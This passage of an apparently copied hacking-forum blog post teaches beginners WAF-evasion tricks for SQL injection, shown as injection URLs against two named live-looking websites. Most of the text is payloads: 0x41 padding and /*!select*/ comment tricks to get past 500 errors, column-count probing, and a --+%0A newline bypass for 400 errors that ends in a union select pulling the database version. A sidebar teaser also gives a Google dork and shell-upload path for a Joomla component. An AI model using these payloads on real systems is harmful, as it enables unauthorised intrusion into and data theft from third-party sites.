<div dir="ltr">
<code><span style="color: #66ccff;">www</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">bryansmarine</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">com</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">details</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">php</span><span style="color: #7ac07c;">?</span><span style="color: #66ccff;">id</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">319 union select 1 </span></code></div>
</div>
</div>
<br />
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
<br />
now to Skip this error 500 Internal server error or 500 forbiden we use BoF+Attacks Query<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #7ac07c;">+And(</span><span style="color: #66ccff;">select 1</span><span style="color: #7ac07c;">)=(</span><span style="color: #66ccff;">select 0x4141414141414141414141414141414141414141414141414141414141414141414141414

14141414141414141414141414141414141414141414141414141414141414141414141414141414

14141414141414141414141414141414141414141414141414141414141414141414141414141414
1414141</span><span style="color: #7ac07c;">)+ </span></code></div>
</div>
</div>
<br />
If this  Query doesn't work we can use this Query [ 1000  of A ]<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #7ac07c;">+and (</span><span style="color: #ffcccc;">/*!select*/ </span><span style="color: #66ccff;">1</span><span style="color: #7ac07c;">)=(</span><span style="color: #ffcccc;">/*!select*/ </span><span style="color: #66ccff;">0xAA</span><span style="color: #7ac07c;">)+ </span></code></div>
</div>
</div>
<br />
ok now we will put this Query befor union select to bypassing erro<br />
<br />
☆¸.•*☆ demo ☆*•.¸☆ <br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">www</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">bryansmarine</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">com</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">details</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">php</span><span style="color: #7ac07c;">?</span><span style="color: #66ccff;">id</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">319</span><span style="color: #7ac07c;">+And(</span><span style="color: #66ccff;">select 1</span><span style="color: #7ac07c;">)=(</span><span style="color: #66ccff;">select 0x4141414141414141414141414141414141414141414141414141414141414141414141414

14141414141414141414141414141414141414141414141414141414141414141414141414141414

14141414141414141414141414141414141414141414141414141414141414141414141414141414
1414141</span><span style="color: #7ac07c;">)+</span><span style="color: #66ccff;">union select 1 </span></code></div>
</div>
</div>
<br />
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
<br />
aha now we have this error <br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">Unknown table </span><span style="color: #ff99ff;">'articles' </span><span style="color: #66ccff;">in field </span><span style="color: #7ac07c;">list </span></code></div>
</div>
</div>
it's mean column count is not right now we try play with number of column <br />
any way I found column count it's 35 #<br />
<br />
☆¸.•*☆ demo ☆*•.¸☆<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">www</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">bryansmarine</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">com</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">details</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">php</span><span style="color: #7ac07c;">?</span><span style="color: #66ccff;">id</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">319</span><span style="color: #7ac07c;">+And(</span><span style="color: #66ccff;">select 1</span><span style="color: #7ac07c;">)=(</span><span style="color: #66ccff;">select 0x4141414141414141414141414141414141414141414141414141414141414141414141414

14141414141414141414141414141414141414141414141414141414141414141414141414141414

14141414141414141414141414141414141414141414141414141414141414141414141414141414
1414141</span><span style="color: #7ac07c;">)+</span><span style="color: #66ccff;">union select 1</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">2</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">3</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">4</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">5</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">6</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">7</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">8</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">9</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">10</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">11</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">12</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">13</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">14</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">15</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">16</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">17</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">18</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">19</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">20</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">21</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">22</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">23</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">24</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">25</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">26</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">27</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">28</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">29</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">30</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">31</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">32</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">33</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">34</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">35</span><span style="color: #7ac07c;">-- </span></code></div>
</div>
</div>
<br />
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
<br />
<span style="color: orange;">☆¸.•*☆#  400 bad request  #  thx <span style="color: mediumblue;">benzi</span> # ☆*•.¸☆</span><br />
<br />
If we have error 400 bad request  like this<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">tibikra</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">huntscape</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">lt</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">highscore</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">personal</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">php</span><span style="color: #7ac07c;">?</span><span style="color: #66ccff;">name</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">lauras469</span><span style="color: #ff99ff;">' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,
29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 +--+/ </span></code></div>
</div>
</div>
<br />
<div>
<div class="spoiler_header">
Spoiler <a href="http://www.blogger.com/blogger.g?blogID=1523573398630292934">(Click to View)</a></div>
</div>
<br />
it's mean : Your browser sent a request that this server could not understand .<br />
and to bypassing this erro<br />
<br />
first we need to know from where this error begin do  like this<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">tibikra</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">huntscape</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">lt</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">highscore</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">personal</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">php</span><span style="color: #7ac07c;">?</span><span style="color: #66ccff;">name</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">lauras469</span><span style="color: #ff99ff;">' union </span></code></div>
</div>
</div>
<br />
nothing happening no 400 bad request error<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">tibikra</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">huntscape</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">lt</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">highscore</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">personal</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">php</span><span style="color: #7ac07c;">?</span><span style="color: #66ccff;">name</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">lauras469</span><span style="color: #ff99ff;">' union select </span></code></div>
</div>
</div>
<br />
nothing happening no 400 bad request error<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">tibikra</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">huntscape</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">lt</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">highscore</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">personal</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">php</span><span style="color: #7ac07c;">?</span><span style="color: #66ccff;">name</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">lauras469</span><span style="color: #ff99ff;">' union select 1 +--+/ </span></code></div>
</div>
</div>
<br />
nothing happening no 400 bad request error<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">tibikra</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">huntscape</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">lt</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">highscore</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">personal</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">php</span><span style="color: #7ac07c;">?</span><span style="color: #66ccff;">name</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">lauras469</span><span style="color: #ff99ff;">' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 +--+/ </span></code></div>
</div>
</div>
<br />
nothing happening no 400 bad request error<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">tibikra</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">huntscape</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">lt</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">highscore</span><span style="color: #7ac07c;">/</span><span style="color: #66ccff;">personal</span><span style="color: #7ac07c;">.</span><span style="color: #66ccff;">php</span><span style="color: #7ac07c;">?</span><span style="color: #66ccff;">name</span><span style="color: #7ac07c;">=</span><span style="color: #66ccff;">lauras469</span><span style="color: #ff99ff;">' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 +--+/ </span></code></div>
</div>
</div>
<br />
Oh 400 bad request error<br />
now we know this error begining from column 19 that's appear no error 
and to bypassing this error we will add --+%0A after nomber of column 
like this <br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">19</span><span style="color: #7ac07c;">--+%</span><span style="color: #66ccff;">0A</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">20</span><span style="color: #7ac07c;">--+%</span><span style="color: #66ccff;">0A</span><span style="color: #7ac07c;">,</span><span style="color: #66ccff;">21</span><span style="color: #7ac07c;">--+%</span><span style="color: #66ccff;">0A  etc </span><span style="color: #7ac07c;">.... </span></code></div>
</div>
</div>
<br />
☆¸.•*☆ demo ☆*•.¸☆<br />
<br />
<div class="codeblock phpcodeblock">
<div class="title">
PHP Code:</div>
<div class="body">
<div dir="ltr">
<code><span style="color: #66ccff;">http</span><span style="color: #7ac07c;">:</span><span style="color: #ffcccc;">//tibikra.huntscape.lt/highscore/personal.php?name=lauras469'and false UNION select version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+%0A,20--+%0A,21--+%0A,22--+%0A,23--+%0A,24--+%0A,25--+%0A,26--+%0A,27--+%0A,28--+%0A,29--+%0A,30--+%0A,31--+%0A,32--+%0A,33--+%0A,34--+%0A,35--+%0A,36--+%0A,37--+%0A,38--+%0A,39--+%0A,40--+%0A,41--+%0A,42--+%0A,43--+%0A,44--+%0A,45--+%0A,46--+%0A,47--+%0A,48--+%0A,49--+ </span></code></div>
</div>
</div>
<br />
<span style="color: orange;">hackforums.net</span>

WAF Bypassing For beginners and Easy

First sorry for my english and I make thread about WAF bypassing error For beginners ☆¸.•*☆ How to know if Web Application Firewalls! on/off ☆*•.¸☆ to know this we will use this statement after site l…

08 Sep 2012

Joomla | NEW Shell Upload Vulnerability

Joomla | NEW Shell Upload Vulnerability

Tanpa basa-basi :D (malas ngetik) Google Dork: inurl:index.php?option=com_fabrik > Upload Shell Lokasi shell: www.site.com/media/shell_name.php Selesai ^_^…

08 Sep 2012

Load more posts